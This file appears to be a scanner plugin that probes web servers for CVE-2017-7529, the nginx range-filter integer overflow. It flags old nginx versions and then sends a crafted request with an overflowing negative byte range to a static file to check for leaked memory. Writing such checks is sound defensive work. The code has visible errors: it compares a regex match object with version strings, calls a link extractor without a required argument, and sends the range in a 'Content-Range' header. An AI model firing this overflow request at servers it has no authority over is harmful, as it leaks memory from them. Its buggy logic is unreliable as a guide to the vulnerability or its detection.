#!/usr/bin/python
# -*- coding: utf-8 -*-
from engine.engine_utils.common import *
from engine.logger import scanLogger as logger
from lxml import html as l_html
from scan_spider.Data import UrlData
from urlparse import urlparse
'''
CVE-2017-7529
Nginx versions since 0.5.6 up to and including 1.13.2 are vulnerable to integer overflow vulnerability in nginx range filter module resulting into leak of potentially sensitive information triggered by specially crafted request.

CVSS分值: 	5 	[中等(MEDIUM)]
CWE-190 	[整数溢出或超界折返]
影响范围    Nginx 0.5.6 – 1.13.2
靶站https://scan.yundun.com/report2/preview/4802983e-ed16-44db-8d18-1c4a420a9ac8
未添加
'''

class HtmlAnalyzer(object):
    '''页面分析类'''
    @staticmethod
    def extract_links(html,base_ref,tags=[]):
        '''
        抓取页面内链接(生成器)
        base_ref : 用于将页面中的相对地址转换为绝对地址
        tags     : 期望从该列表所指明的标签中提取链接
        '''
        if not html or not html.strip():
            return
        try:
            doc = l_html.document_fromstring(html)
        except Exception,e:
            return
        default_tags = ['a','img','iframe','frame']
        default_tags.extend(tags)
        default_tags = list(set(default_tags))
        doc.make_links_absolute(base_ref)
        links_in_doc = doc.iterlinks()
        for link in links_in_doc:
            if link[0].tag in set(default_tags):
                url_data = UrlData(link[2].rstrip('?').rstrip('#'))
                yield url_data


def run_domain(http, ob):
    result = []
    try:
        domain = ob['domain']
        header = {'Host': domain}
        path = ob['path']
        source_ip = ob.get('source_ip')
        if source_ip:
            domain = source_ip
        url = "%s://%s%s" % (ob['scheme'], domain, path)
        res, content = http.request(url, "GET", headers=header)
        if not res or res.get('status') != '200':
            return []

        # 检测服务器是否为nginx代理服务器，版本是否过低
        if res.get('cache-control') and res.get('server'):
            server = res.get('server')
            if re.search('nginx', server, re.I):
                version = re.search('[\d\.]+', server)
                if '0.5.6' < version < '1.13.2':
                    detail = "nginx版本过低，可能存在缓存溢出漏洞"
                    request = getRequest(url, domain=ob['domain'])
                    response = getResponse(res, content)
                    result.append(getRecord(ob, url, ob['level'], detail, request, response))
                    return result

        # 在首页拿到一个静态文件，如jpg、png、js、css
        ha = HtmlAnalyzer()
        urls = ha.extract_links(content)
        pic_file = ''
        for url in urls:
            if re.search('\.(jpg|png|js|css)', url, re.I):
                host = urlparse(url).netloc
                if host:
                    if host in ob['domain'] or host in source_ip:
                        pic_file = url
                        break
                else:
                    pic_file = "%s://%s%s" % (ob['scheme'], domain, url)
                    break
        if not pic_file:
            return []
        # 构造特殊的恶意请求
        res1, content1 = http.request(pic_file, "GET", headers=header)
        if not res1 or not res1.get('content-length'):
            return []
        file_length = res1.get('content-length')
        length_1 = -(623 + int(file_length))
        length_2 = -9223372036854775808L - length_1
        new_header = {'Host': domain, 'Content-Range': 'bytes %s,%s' % (length_1, length_2)}
        res2, content2 = http.request(pic_file, 'GET', headers=new_header)
        if res2 and res2.get('status') == '200' and content2 != content1:
            detail = "检测到nginx缓存溢出漏洞"
            request = getRequest(pic_file, domain=ob['domain'])
            response = getResponse(res2, content2)
            result.append(getRecord(ob, pic_file, ob['level'], detail, request, response))
            return result
    except Exception, e:
        logger.error("File:CVE-2017-7529_nginx_sensitive_information_leakage.py, run_domain function :" + str(e))
        return []